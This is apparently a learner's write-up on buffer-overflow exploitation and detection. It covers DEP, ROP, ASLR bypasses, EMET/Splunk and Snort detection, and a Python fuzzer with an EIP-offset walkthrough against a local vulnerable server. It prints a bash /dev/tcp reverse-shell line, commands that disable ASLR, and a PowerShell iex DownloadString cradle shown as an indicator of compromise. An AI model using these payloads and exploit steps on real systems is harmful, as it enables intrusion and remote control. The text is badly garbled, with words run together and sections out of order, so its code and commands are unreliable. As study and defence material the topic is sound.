DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

